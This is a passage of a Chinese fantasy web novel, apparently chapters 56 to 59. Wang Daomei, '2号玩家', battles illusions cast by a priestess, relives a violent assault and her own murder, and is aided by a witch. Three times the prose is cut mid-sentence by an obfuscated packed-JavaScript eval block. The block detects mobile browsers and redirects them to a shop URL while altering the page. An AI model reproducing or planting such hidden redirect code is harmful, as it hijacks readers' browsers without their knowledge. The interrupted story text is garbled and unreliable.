随着她的触摸,图案开始发光,形成一个个光点,然后逐渐连成一条线,指引着她前进的方向。 走了不到五六步,王稻美的视野被整片白光所充满,当她不知第几次又睁开眼睛时,发现自己来到了一个巨大的图书馆。 她站在这座巨大的图书馆中央,四周是无尽的书架,空气中弥漫着纸张和墨水的香气,让人感到宁静而安详。 这里的书架从地面一直延伸到天花板,仿佛无止境地向上延伸,直到接入穹顶高处的幽暗之中。 书架上的每一本书都散发着淡淡的辉光,忽明忽灭,仿佛是知识的星辰在夜空中闪烁,无声呼唤着偶然来到此地的人们走近它们,再伸手翻阅它们。 “这是你内心的图书馆,这里收藏着你所有的记忆和知识。”诸禅的声音再度在她的耳边响起,“试炼的第一关,就是找到那本能够指引你离开迷宫的书。” 王稻美环顾四周,她能看到无数的书籍,每一本都像是在对她诉说着一个故事。她深吸一口气,开始在书架间穿梭,寻找那本能够指引她离开迷宫的书。 忽然间,她的目光被一本紫底漆金封皮的书籍所吸引。那本书的封面上刻着复杂的图案,深紫色与金黄色交织成诡谲花纹,她的心中涌起一股莫名的冲动。 “没错,那就是你要找的书。”诸禅说道。 王稻美伸出手,轻轻取下那本书。 当她的手指触碰到书的封面时,一股温暖的力量流遍她的全身,视野突然变得清晰起来。 王稻美几乎没怎么犹豫就翻开了那本书。 书中的文字开始跳动,形成了一幅幅生动的画面。 她看到了迷宫的全貌,看到了那些隐藏的通道、宝藏与美景:云间漂浮的宫殿岛屿、山谷中流淌的宝石河流。 她最后还看到了迷宫的出口,那是一道散发着柔和光芒的门。 【快去。】 【开门。】 一阵嗡嗡的模糊呓语开始催促她。 王稻美脸上露出一个满意的笑容,她“啪”地一声合上了那本书。 “抓住你了。”2号玩家眨了眨左眼,黑色眼瞳放出灼灼光华,旋转着凝成一枚赤金竖瞳。 “一只大苍蝇,吃掉了一只蟾蜍。” 她看到自己坐到沙发上开始啃鸡腿,一边啃一边陷入回忆中: “那只蟾蜍巨丑无比,它像个正方体,身上长着八个洞,里面好几圈尖牙,还有根舌头。” “也就是说,它长着八张嘴?”粒粒捧着茶杯,眉头紧皱的模样看起来很明显是在担心什么事情。 “也不完全是嘴,因为每根舌头上都有颗不停骨碌碌乱转的眼珠子。不过,这蟾蜍怪物被那只大苍蝇一口就吞掉了,倒也不是很吓人。” 一顶猩红色的尖顶帽对她口吐人言:“刀妹,你是忽然有一天就莫名其妙开始做那个梦的吗?” 接着,她终于听清了那个尖利如哨子的声音在嚷嚷着什么: 【恭喜2号玩家获得称号“一只饕餮”,技能备注:世界上除了你自己没什么是不能吃的·实在不行也可以自己吃自己。】 到了最后,她看见一座山丘,生长着无数高大的水青冈乔木。 茂林尽头是四座酒红色尖顶的塔楼,拱卫着中间以铅灰色砂岩筑成的巍峨殿堂。 这座城堡耸立于断崖之上,往下俯视,既不见深海,也并非云层。 崖下千万丈,皆是无垠星空。 … “伟大的圣萨罗斯。” 女巫张开双手,掌心向上,语气夸张得仿佛要当场高歌一曲咏叹调。 “‘星月更迭,永恒明灭’。作为不可观测宇宙中最好的教育机构之一,圣萨罗斯学院只有一个缺点——那就是它永远飘荡于群星之间,无从追寻。” “有些走丢的神经信号正在宇宙的某个神秘角落排练一支圆舞曲。如果你能找到它们,并学会表演这支圆舞曲,就可以打开一条随时随地都能直达圣萨罗斯的秘密通道。” 王稻美听完女巫的话,很难不被她的浮夸语调激起一身鸡皮疙瘩,嘴角却勾起一抹戏谑的笑意。 “这事儿听起来跟玩捉迷藏似的,不过,这游戏规则也太复杂了吧。” 女巫对王稻美的吐槽压根儿就不以为意,她继续用夸张的语气说道:“哦,我亲爱的2号玩家,这不仅仅是一场游戏,这是一场考验智慧和勇气的挑战!” 王稻美站起身,拍了拍身上的灰尘,她的目光在女巫和那座神秘的星空城堡之间来回扫视。 “行吧,听起来确实要比啃鸡腿刺激多了。”她耸了耸肩,脸上的笑意变得有点无奈。 “不过话说回来,你确定这不是什么宇宙级的恶作剧吗?我可不想找到那些所谓‘迷路的神经信号’后,才发现自己只是在某个角落的垃圾堆里打转。” 女巫摇了摇头表示否定,她打了个响指,一道光门缓缓浮现。 “哦,亲爱的。现在,请迈出这一步,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044921|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始你最后的冒险。” 王稻美做了个深呼吸。忽然感觉到,无论前方等待着她的是什么,都已经没有回头路了。 她迈步走向光门,却在踏入前突然回头,对岑小哉说:“哦对了,别忘了给我留一份鸡腿。” 女巫笑嘻嘻地点了点头,目送着王稻美消失在光门之中。 随着光门的关闭,她如叹息般轻声说道:“伟大的圣萨罗斯,愿你的智慧指引我们刀妹勇敢的灵魂。” 王稻美穿过光门,发现自己站在一片璀璨的星空之下。她抬头望去,只见无数的星辰在夜空中闪烁,仿佛在诉说着宇宙的秘密。 “很好。宇宙,现在就让我们开始这场圆舞曲吧。” 王稻美站在星空之下,心跳随着星辰的闪烁而加速,一股前所未有的兴奋感在她体内涌动。 结果不到半秒,一群夜叉突然从虚空中跳出来,一个个张牙舞爪,本就丑陋的面容在星光下显得格外狰狞,都带着垂涎欲滴的表情,显然是被王稻美这个小小人类吸引而来。 “诶嘿,欢迎仪式比我想象的要热烈得多。”王稻美嘴角勾起一抹将自信体现得淋漓尽致的微笑。 是时候展示她“一只饕餮”的真正实力了! 夜叉们发出刺耳的尖叫,挥舞着锋利的爪子向她扑来。王稻美不慌不忙,身形在原地消失,下一秒,她已经出现在夜叉群中。 “哈!来吧,看看是谁吃掉谁!”王稻美大喝一声,她的双手化作两道金色的光芒,俨然带着吞噬一切的力量。 夜叉们的攻击在她的面前如同儿戏,她轻松地避开,然后以迅雷不及掩耳之势,将夜叉们一一击败。 夜叉们惊恐地发现,每当王稻美的手触碰到它们,它们的力量就会被迅速吸收,而那个看似弱小的人类则变得越来越强大。 它们的尖叫变成了哀嚎,最后一只夜叉也在王稻美的手下化为尘埃。 “哎哟喂,这个‘一只饕餮’的称号还真不是白给的。”王稻美自言自语,她拍了拍身上的灰尘,然后抬头望向星空。 王稻美的胜利喜悦还没来得及完全绽放,眼前的星空突然扭曲变形,如同水面上的倒影被石头击中,泛起层层涟漪。 心跳在这一刻几乎停止,因为她看到了一幕完全不敢相信的场景—— 街道上,车辆的残骸散落一地,刺耳的刹车声和玻璃碎裂的声音在她的耳边回荡。 她看到自己的父母在车里,脸上带着惊恐和无助的表情。 王稻美想要呼喊,想要冲过去,但她的身体却动弹不得,仿佛被无形的力量牢牢束缚。 下一秒,幻觉逐渐变幻,她从那场关于父母的噩梦中回过神来,心情还没来得及平复,眼前又出现了一幕让她心如刀绞的场景: 戴玉粒在执行任务时被歹徒一枪击中,倒在了血泊中。这一幕就像是一把锋利的刀子,狠狠地扎进了王稻美的心窝,让她几乎喘不过气来。 粒粒安静地躺在冰冷的地上,眼睛紧闭,周围是一片混乱和尖叫。 王稻美心里的绝望和痛苦几乎溢出来,泪水模糊了她的视线。心脏仿佛被撕裂成好几块碎片,那种失去家人与挚友的双倍痛苦让她濒临崩溃。 “这只是幻觉!”王稻美在心中默念,声音逐渐变得坚定,“我不会让你控制我!我已经不再是那个无助的小孩了!” 当她再次睁开眼睛时,星空已经恢复了正常,那些幻觉如同泡沫一般消散在宇宙的深处。 “有没有搞错啊,怎么从头到尾都在玩这种制造幻觉的烂把戏哦!”刀妹忿忿不平地擦去脸上的泪水,一脸绝不认输的表情。 57. 魔高一丈 “你以为,这些从头到尾都是幻觉?” 一个隐约有点熟悉的女人声音冷不丁在她背后响起。 王稻美心里咯噔一下,再怎么不情愿也只能皱着眉转身:“宝莲姐?” “你已经死了,王稻美。”宝莲站在不远处,身后是一片浓稠得化不开的黑暗,“我们都已经死了。” 她的语气惨淡,非常符合一个鬼魂该有的精神状态。 “我知道啊。” 刀妹望着她,表情没什么变化,回答得很理所当然,然后抬起脚就要走。 “这不可能!你明明已经落入了‘仙境’,怎么可能在中途清醒过来!” 宝莲像是受到了什么重大刺激,整个鬼连人形都维持不住,半边身体开始溃散,声嘶力竭朝着王稻美叫嚷起来: “你给我站住!不许走!” 被她这么一嚷嚷,就算是看在幻境里曾经共患难的情分上,刀妹也有点不耐烦了。 她再次转身,双手叉腰,以一种带着淡淡厌世感的语气答道:“可你们的‘仙境’就是很假啊!就算篡改了我的记忆,放大了我的各种负面情绪,假的就是假的,永远不可能变成真实。” 哦,除了女巫。 无论真假,她都是一个不在乎所有人死活的大变态。 宝莲根本没听刀妹说了什么,只是一脸苦大仇深地盯着她,活像被欠了几百万一样。 然而眨眼的功夫,宝莲变成了吉兰馨。 她时而是穿着病号服、瘦骨嶙峋的濒死惨状,时而又是一身红裙、头簪米囊花的鲜妍面容。 “王稻美!你说过要救我的,你怎么可以骗我!” 兰馨漂浮在半空中,漆黑双眼缓缓渗出血泪。 明知她不是真实的存在,王稻美还是皱起眉头,下意识张口解释:“我没有……” 一声断喝立即打断了她的话:“稻美,这是你第几次忤逆我们了?” 兰馨不见了。 站在王稻美面前的是她死于车祸的双亲。 王大山怒视着女儿,斜插了一大块碎玻璃的脸上血流如注,居然还能看得出表情非常严厉,像是在教训下属:“只有三次机会,你自己算清楚。” 王稻美脑子里一阵恍惚。 星空消失,她回到了吉祥农家乐的2号包厢里面,前方是韩铭轩大少爷摔门而去的背影。 “稻美,你是我们唯一的孩子,可董事会所有人都认为你是个女孩,不堪重用,都想扶持你堂哥来继承天峰。” 旁边的母亲瞥了她一眼,目光阴冷,仿佛有一桶看不见的冰水对着她迎面泼过来。 “要是能跟韩家联姻,我和你爸还能为你争取一下继承权,现在连这件事都给搞砸了,那你没有机会了。” 王稻美板着脸,不知道该说什么。 是悲伤,还是愤怒?又或者二者兼有。 “这一切确实是假的,但真正的事实远比假象更加不堪,也更加恶心。”当初那个自称为“诸禅”的声音再次响起,轻蔑得让人很想伸手给祂一巴掌。 “赶紧从自己编造的美梦里醒过来吧,傻姑娘。” “美梦?你管这些乱七八糟的事儿,叫美梦?” 刀妹重重呼出一口气,简直怀疑自己的耳朵已经被折腾坏了: “请问你是因为人生过得太悲惨从而导致对‘美梦’有什么误解吗?真正的美梦不应该是我摔门而去然后以独特的人格魅力与复杂的商业手段压制了董事会那群食古不化的糟老头子,顺利继承整个天峰集团。下一章又使用玩家技能在副本世界大杀四方消灭所有怪物与反派,拯救遭到迫害的无辜人类,最终成功摧毁反派老巢——吗?” 对方:“……” 刀妹一口气说完那堆话,赶紧抬手安抚一下自己遭了罪的肺,脸上却很快浮起一个有点得意的笑容。 “所以,你现在还觉得幻觉能困住我吗?慧伽?” 她停顿了一下,又补充道:“或者我该称呼你为,娞吉大祭司?” “母亲”阴沉的表情没有改变,改变的只有面容与装束。 头戴银冠身着法衣的娞吉大祭司终于出现。 王稻美心情很好地弹了一下舌头,神采飞扬,完全发挥出女巫某种嚣张表情的精髓: “嘿嘿,想不到吧?虽然我只是一块柔弱不能自理的鱼饵,可任何鱼饵里面……都藏着锋利的鱼钩啊。” “鱼钩?”慧伽冷漠地望着她,像在看一颗蘑菇,“那也得鱼愿意咬饵上钩才行。” “我们很早就见过了,对吧。”刀妹双手抱臂,挑了一下眉头,“准确地来说,我见过你——的干尸,在丹庚山的那场大火熄灭之后。” 那时候也是阴差阳错,她偶然发现粒粒居然和高照那家伙在放学后搭上了去伍港北郊的公交车,而且车上就只有她们两个,没别人了! 王稻美在心里惊呼一声:不好—— 粒粒莫不是要把高大少骗去荒山野岭打个半死,以报她姐当年殒命之仇?! “不行,我得去搭把手……不是,去阻止粒粒的一时冲动!” 刀妹一边喃喃自语一边背着书包指挥自家司机叔叔:“孙叔,跟紧那辆去北郊的公交车,粒粒今晚的作业落我这儿了!” “啊?这太阳都快下山了她还去北郊干啥?”孙叔纳闷地发动车子。 王稻美转了转眼珠,随口搪塞道:“我们……生物课要一些植物标本,粒粒说她上山找找去。” 下了车,刀妹狗狗祟祟跟在她们后面,大老远就闻到一股焦糊味。 接着发现整座丹庚山已经被烧得不成样子了,但很奇怪的是山上的灰烬一点儿也不烫,好像已经烧完歇了好几天一样。 也就是在那时,王稻美发现了一处祭坛模样的废墟。 她迷迷瞪瞪走近两步,忽然感觉周围的场景晃了晃,不知何时竟有长长的彩绸经幡飘在自己头顶。 山林深处吹来阵阵凄风,梆子声和几句古怪吆喝间接响起—— “人失土,土食人,谁知世间多疾苦。” “今夜子母共长眠,昨日六亲腹中住。” “身入棺,棺如身,为求大道叩天门。” “老弱病残七重煞,不见日月不透风!” 她看见许多人,身穿青白赤黑黄五色混杂的云纹衣裳,头戴鸦翅雕花银冠,为首者手里握着一把由米囊花和山丝苗扎成的花束。 她们排成长队,缓缓向着悬崖尽头走去。 捧花者倏地回头,对着王稻美露出一个笑容,美艳又恐怖,简直惊心动魄。 王稻美整个人僵在原地,双脚一直蠢蠢欲动想要迈出去,跟上她们,但面前却蓦地腾起一道火墙,烧得劈里啪啦的,愣是把她给吓住了。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114818|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到听见孙叔在喊着“刀妹”,王稻美才突然一个激灵,回过神来。 废墟依然是废墟,底下横七竖八躺着一堆干尸。 此刻,王稻美终于把当年看见的捧花者与面前之人对上了,一时间心情竟有点复杂:“大祭司,娞吉沦为饥馁,难道就是你想要的结果吗?” “所有的牺牲,终将会得到应有的回报。”慧伽的唇角勾起微微弧度,语气依然古井无波。 “黄丹庚那个窝囊废,天大的好机会落在他面前也捡不到半点好处,召唤不出欢喜尊者,还差点白白浪费了我好不容易供养出来的一只帝宝椟。” “幸好,我早就找到了新的‘钥匙’。” 她带着微笑,定定地看向王稻美,那目光犹如在欣赏一件自己的得意作品。 “什么东西啊你别胡说!”刀妹顿时一阵手忙脚乱,在自己身上到处翻来摸去。 慧伽冷眼旁观了半天,终于说出她最不想听到的话:“不用找了,你自己就是‘钥匙’。” … “所以,终点与起点是一个循环,2号玩家通行其中,她的灵魂将在这座迷宫的沿途破碎遗落,直到全部消亡殆尽。” 外家吉后山那座隐蔽的砖瓦房上方,一双巨大的黑色羽翼缓缓扑扇着,鼓起的风呼呼地吹过屋后整片茂密树林,有不少羽毛悄然飘落,随风飞远。 “咳咳咳……要不,师兄你还是换个蝴蝶翅膀吧,至少比较好看。”岑小哉骑着她的飞行工具飘在一旁,被风扑得直咳嗽,“而且轻盈。” 路其闷闷不乐地瞥了她一眼,果不其然发现这家伙根本就没听清自己刚才的话。 某个小建议无法得到采纳,岑小哉也没功夫再计较,一门心思扎进了对副本世界的分析当中: “七年前,慧伽献祭了整个内家吉所有人的生命力,炼化出那只八目莲蓬蟾蜍。谁知那姓黄的是一坨扶不上墙的烂泥巴,所以她们只能在七煞阵被毁后,将新的目标锁定为刀妹。” “你不是说过,还有人在2号玩家之前就已经上了山?”冒牌恶魔表示疑惑。 女巫扯了一下嘴角,老神在在地摆了摆手:“哎,另外两个身上多多少少沾了点亡灵法师的气息,算不上是完全纯粹的人类,这些亡灵得多没长眼才会去动她们?” “但不管如何,你的2号玩家现在情况似乎不太乐观。”路其抬了抬下巴,因过分缓慢而呈现出一种时间凝滞般的效果。 岑小哉伸手挠着脸,眼神里难得流露出一丝忧心忡忡:“你指的是她的躯壳还是灵魂?” “两者皆是。” 此刻她们已经离开芥子秘境,双双悬浮于那位虔诚的祭司大人住处上空。 “感觉到了吗?她已经从中阴身状态逐渐过渡为亡灵,如果她彻底迷失在‘仙境’之中,可就再也回不到躯壳里了。” 女巫颇为不悦地“啧”了一声:“那行,我现在就去捞她。” 话还没说完,她已经压低了魔法扫帚的尾端准备俯冲—— “等会儿,”路其同样不悦地蹙起眉头,“你难道忘了,只有中阴身才能进入‘俱生仙境’。” “嗯呒,这么重要的事情肯定不会忘啦。” 岑小哉转头露出一个灿烂至极的笑容:“既然如此,我的躯壳就暂时拜托师兄了哟!” 接着,她头一歪,连人带扫帚直直往下坠去。 58. 融为一体 “这是一场游戏,我只是其中的2号玩家。” 王稻美悄悄往后挪了小半步,忽然一个踉跄—— 身后不知何时已变成一处悬崖。 有几粒碎石被她不小心踢了下去,一下子跌入茫茫云海之中,听不到一丝回音。 刀妹委屈巴巴撇着嘴,偷看了一眼,感觉自己一颗小心脏都快蹦出嗓子眼了,顿时搞不明白自己先前是怎么敢眼都不眨就往下跳的。 慧伽依然站在原地,脸上的微笑同样原封不动,平静得有点瘆人: “掩耳盗铃,只能骗得了自己,无论如何都是骗不了别人的。” “得了吧,就你们费劲巴拉搞出来的一场又一场幻觉都没吓倒我,还指望用几句话就能唬到我不成?” 王稻美哈哈干笑了几声,实则心里在琢磨着,要是自己再跳一次是会摔个稀巴烂,还是会“从头来过”。 也就是这时候,她突然间想起:悬崖底下那片云雾,其实都是孢子。 “蘑菇人死后,变成骨头碎片,最后又变成孢子……” 所以,是谁将数量庞大的蘑菇人全部打成了孢子,最终形成了这片云雾? 2号玩家隐约感觉到,自己的记忆应该还缺失了很重要的一部分。 “说实话,召唤俱生法王,远远要比召唤欢喜尊者更加困难。”娞吉大祭司显然不在乎这把“钥匙”的走神状态,她自顾自说起了一些很邪恶的内容。 “我们需要为祂准备好一个噬母弑父的‘容器’,那只有心灵层面的饥荒才能办到。” 刀妹没怎么听懂,但她知道这位祭司大人早已弄丢了她们的“容器”——松盛! 于是她赶紧落井下石:“诶嘿,那还不是因为你自己用儿子去交换了‘永恒的青春’嘛。” “原来,你也见过路其大人了。”这次,慧伽的声音里终于有了情绪。 只可惜不是什么正面情绪。 “凭什么!你只是个卑弱如蝼蚁的凡人,凭什么也能得到路其大人的垂青?” 夕阳入山之前,那张美若菩萨的玉面开裂了,那一瞬露出了比夜叉更为凶恶的神情。 慧伽攥紧拳头咆哮着,银冠坠地,法衣破碎,依稀可见她胸腹处有血色纹路在不停游走,迅速凝结成一张小小的人脸: 眼、鼻、口、舌俱全。 “噫!我了个去,这什么东西!” 王稻美吓得两颗眼珠子都差点飞起,下意识猛退了一大步。 当场就一脚踩空。 一句“救命啊”愣是被囫囵吞枣喊成了“舅妈——” “你舅妈不在这儿,谢谢。” 一顶猩红色尖顶帽缓缓从崖底升起,只不过是以倒立状态。 因为小毛球末端那儿还挂着个弱小可怜又无助的2号玩家。 “我说刀妹,死掉的中阴身可就彻底变不回活人了,你给我悠着点儿!” 岑小哉同样倒立着,从尖顶帽里面缓缓长出来,仿佛一柄出鞘的利剑。 此时,娞吉大祭司身躯上的另一张脸已完全成形,从婴儿变为成年人。 “王小姐,好久不见。”那张脸笑眯眯地开口说话了。 刀妹被女巫捞回地面,两条腿产生了自我意识—— 它们罢工了。 她只能哆嗦着随地大小坐,感觉自己唯一的那根舌头也不太听从指挥:“你你你,你谁啊?” 慧伽面无表情地抬手,扶住鼓胀如怀胎九月的腹部,而她肚皮上的那张脸瞬间流露出一抹非常享受又眷恋的表情,看起来恨不得像小狗一样挪过去蹭蹭她的手。 王稻美努力辨认了半天,终于膛目结舌:“……黎嗣?” “没错,是他。”慧伽轻声答道,脸上的浅笑变得生动起来,同时却带有浓郁的疯狂。 “他即将降生为我的另一个孩子,新的俱生法王。” “呃?”女巫疑惑。 “哕——”刀妹干呕。 难得脚踏实地的前者略带嫌弃地看着后者,无奈伸手,拍了拍她的脑壳。 接着,岑小哉用一种求知若渴的语气问道:“那么,它的爸爸是谁呢?” “重点是这个吗!”王稻美一整个惊呆了。 “这个当然很重要啊,毕竟我不能让它真的吃了它母,然后杀了它父的呀。” 女巫那叫一个义正词严,她甚至抬头一脸严肃地看向慧伽:“放心吧,我一定会好好保护你的,小祭司。” 而那位祭司娘娘只淡淡说了一句话:“也是黎嗣。” 女巫和2号玩家两脸懵逼,都被这简简单单四个字中蕴含的信息量给轰炸得脑中整片空白。 “为了完成我的夙愿,他自愿放弃躯壳,成为我们的孩子。” “好怪。”岑小哉缓缓摇头,语气沉痛,一双赤金竖瞳都变得呆滞了几分,“你们人类真的好怪。” 当然,王稻美只会比她更加呆滞:“你们俩……到底图啥呢这是?” 慧伽竟被她这句话逗得哈哈大笑起来,状若癫狂: “因为,我想要力量啊,那种能够赐予凡人‘永恒青春’的力量。” “我不仅想要驾驭这种力量,更想要完全掌控祂,占有祂,将祂囚为笼中的美丽玩物,只能供我驱使!” 女巫:“实在是勇气可嘉。” 刀妹:“你居然想抓路其?” 话音未落,她俩同时扭头看向对方,脸上明晃晃只有一句惊恐到极点的“发生了什么事情?” “够了!王小姐,需要我帮你重新回忆一下你是如何死亡的是吗?” 听到刀妹的话之后,黎嗣的脸变得神色阴沉,倏地又咧开嘴,露出一抹充满恶意的笑容。 “你一定不记得了,就在你被注射了鬼火菌提取物的那个晚上……” “助脑啊刀妹!不能陷入回忆!” 女巫立即伸手去捂刀妹的眼睛,同时还从背后长出另外两只手去捂她的耳朵。 但已经来不及了。 顷刻间,周围已不再是俱生法王的信徒们排着队自我献祭的那个悬崖。 而是慧伽药业深藏在新唐南方精神病院地下的总部。 一个光线晦暗的窄小房间,仿若迷宫深处。 刀妹独自站在这个房间里面,她看见另一个自己,正蜷缩在角落里无声地哭泣着。 门打开了,黎嗣醉醺醺地走进来,他径直穿过房间中央的刀妹,走向角落里的她。 不管后来的她如何阻拦都没用,根本无法触碰到房间里的另外两个人。 黎嗣走近之后,施施然蹲在王稻美面前,好整以暇地观察着她的茫然表情,像在看一只被关在小鱼缸里的章鱼。 “我忽然想到还有一个更好的方法,可以顺理成章地接手你们天峰集团。” 王稻美低着头,没有回应他。 黎嗣自顾自说了下去:“王小姐,如果你生下我的儿子,那你爸应该会在侄子和外孙之间,选择真正继承了自己血脉的孩子吧?” 王稻美终于抬起头,冷漠地看着他:“你有病。” “王,小,姐,”黎嗣猛地伸手攥起她的头发,又抬起另一只手去抚摸她的脸颊,“如果你不答应,那我只能让手下那些整天在外头摸爬滚打的肮脏东西来好好伺候你了。” 王稻美什么也没说,突然张嘴死死咬住他的手腕。 她这一口几乎用尽了全身所有力气,直接咬破了他的血管,不出两秒,鲜血便淋漓而下。 “啊!你个贱人,快松开!” 黎嗣立刻抓着她的头发往后扯,但就算被拽掉了大把带着头皮的长发,王稻美也不肯松口,一双眼睛也恶狠狠瞪着他,几乎喷出火来。 无计可施的黎嗣只好用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14128988|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥拳殴打着她的头,一边大喊着“招财!进宝!赶紧给我滚进来帮忙!” 原本守在门外的两个手下麻溜滚进来了,他们三人废了九牛二虎之力才把王稻美拉开,吉招财毫不犹豫又扬起手,重重甩了她好几巴掌。 王稻美的脸立即红肿起来,吐出了一颗带血的臼齿。 黎嗣手腕上被咬出来的伤口血肉模糊,深可见骨,他又痛又怒,捂着伤处,对吉招财和吉进宝下令道:“把这贱人的牙全部给我敲下来!一颗都不许留!” … “哇,我死得好惨啊。” 2号玩家看着自己直挺挺躺在那个小房间里的尸体,不由得发出一句感慨。 “牙都没了,提前变成个瘪嘴老太太,那岂不是再也嗑不了瓜子?” “这只是某个平行世界中的你罢——”了? 原本绞尽脑汁想着如何开解她的女巫忽然语塞,随后幽幽转头盯着她: “难道,你所谓的‘死得好惨’,主要是因为嗑不了瓜子?” “是啊。”王稻美一脸理所当然地点了点头,“不过‘gameover’嘛,倒也不奇怪。” 女巫收回自己的四只手,背上的两只手叉着腰,肩侧的两只手抱臂在前,整个上半身看起来非常像一个碱水结面包。 “刀妹,你想不想报仇?我可以帮你。” 好熟悉的一个蛊惑式问句。 王稻美眨了眨眼,有点不太理解女巫究竟意欲何为:“啊,要怎么报仇?” “我可以帮你把那条人形眼镜蛇和那个小祭司都抓起来,任凭你处置。”岑小哉和她头发里的无数枚小眼睛一起朝她挤了挤眼。 王稻美默默移开了视线。 因为那画面简直比她自己横尸地面的场景还要恐怖一百倍。 “可是,慧伽也没真的伤害到我呀……呃,充其量也就是欺骗了我的感情。” 她挠头想了想,莫名觉得眼前的女巫好像比之前那个高呼着“伟大的圣萨罗斯”的女巫还要更加古怪。 “不过在她配合黎嗣演戏的时候,我已经逐渐开始清醒了,所以也并没有被骗到多少。” “那另一个坏蛋呢?”岑小哉继续挤眉弄眼,“你难道一点儿也不恨他,不想将他千刀万剐?” “啧,可能这个死掉的我应该会特别恨他,但现在的我其实感觉还行。欸,话说回来有个问题很重要啊,是不是得把他千刀万剐,我才能通关?” 本质上,2号玩家是一个务实主义者。 这一点首先体现在她最大的爱好是“吃吃吃”这方面。 女巫被她问住了。 一肚子的坏心思顿时偃旗息鼓,深感枭雄无用武之地。 她恹恹地瞥了一眼2号玩家和她曾经的尸体,连头发里藏着的那些眼珠子都闷闷不乐,一瞬间恢复成无数点闪闪金光。 “我不理解,如果是我与你有着相同的遭遇,一定不会善罢甘休!” 女巫一边说着,一边露出了非常邪恶的表情,同时摩拳擦掌:“我会把那条人形眼镜蛇抓起来打成个蝴蝶结,再刮掉一层皮然后刷上辣椒油,放在火上做成烧烤——芭比Q!” 王稻美的内心后知后觉飘起某种不好的预感。 她能感觉到,自己好像忍不住咽了一下口水。 “行了行了,咱们还是先想办法出去吧。”2号玩家十分狼狈地开始转移话题,“老呆在我惨遭虐杀的尸体边上也不是个事儿,对吧?” “等会儿,你的死因可没那么简单。” 岑小哉举起自己原来的左右手,比出个暂停的手势。 “如果我没猜错的话,你的灵魂应该是与蘑菇梦境融为一体,最终制造出2号副本世界,以及那座困住了我的孢子迷宫。” “这个2号副本世界里,好像也不止一座迷宫吧?”刀妹喃喃说道。 59. 灵魂烧烤 王稻美想起了自己第一次进入的那座迷宫——那个比地狱更加恐怖的地方。 那时她心里只剩下一个念头:救出蒋老师。 可在那座迷宫里面,到处都是成堆的腐烂尸体和长在尸体上的妖艳蘑菇,而她还在一个巨大的尸堆旁边发现了另一个自己。 比变成尸体更加可怕的,一个变成了夜叉的自己。 “可到最后,我还是没有找到蒋老师。” 一个丧失了全部理智的夜叉,饥肠辘辘,与长满毒蘑菇的尸堆为伴。 如果当时蒋老师还活着,而且遇到了那个夜叉…… 它,会放过他吗? 王稻美不敢再细想这个问题,她甚至开始怀疑,之前吉兰馨的鬼魂指责自己“害死所有人”,也许就是某个平行宇宙里的最终结局。 一个大写的团灭。 毕竟,她除了空有一身力气和所谓的玩家称号之外,根本就像只无头苍蝇一样,只是在这个副本世界里茫然打转,什么事情也没有做好。 真累啊。 这一切又有什么意义呢? 她连死亡都不在乎了,为何要继续困在这个破“游戏”里,苦苦寻求不得真相,却又无法逃脱? “女巫,我……”王稻美扭头看向岑小哉。 后者歪着头,那双炯炯有神的赤金竖瞳一瞬不瞬地望着她,像只正在等待捕猎的巨型猛兽。 任何人被这种视线锁定的那一刻都会后背直冒冷汗,绝无例外。 “你,你干嘛!” 王稻美同学也确实被盯得浑身发毛,很怕女巫忽然扑过来啃自己一口。 “不要随便露出这种一脸要吃人的表情好吗?” “休得污蔑我,你们人类又不好吃。”女巫冷酷地丢来一个死鱼眼。 她举起四只手同时拍了五下,是幼儿园小朋友全班掌声鼓励时大喊“棒棒,你真棒”的那种节拍。 熊熊烈火应声而起。 那间狭小阴暗的房间与王稻美的尸体全部被火焰吞没。 就在王稻美以为这件事就此略过的时候,岑小哉却冷不丁问道:“你刚才是想放弃了对吧,为什么?” 王稻美望着周围无声燃烧的大火,沉默良久。 “我不知道这一切到底是怎么回事,也不知道我做这些到底是为了什么。” “为了好吃的烤鸡腿!” 女巫的语气非常笃定,斩钉截铁,几乎说出了某种慷慨就义般的架势。 “还有红烧肉、荷包蛋、炒面片、香喷喷的米饭——以及两桶泡面。” 王稻美脸上逐渐露出一抹苦笑: “唉,说真的,我现在根本分不清哪个新唐南方精神病院才是真实的。” “那么,你选择相信哪一个呢?”女巫轻声问道。 是有着美味食物和轻松氛围的温馨版本,还是充斥无数苦难与非人折磨的罪恶温床? 前者似乎太美好了,美好得就像一场顺理成章的幻觉,一个精心布置出来的陷阱。 “我应该,相信哪个?”王稻美忍不住抬手捂住自己的眼睛,后颈再次传来剧烈刺痛,“我真的不知道,自己到底该怎么选择……” 女巫郑重其事地抬了抬下巴: “人生就是这场大火。” 